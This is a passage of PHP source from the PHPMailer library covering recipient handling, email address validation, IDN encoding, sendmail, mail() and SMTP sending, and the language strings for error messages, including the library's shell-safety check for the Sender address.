        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
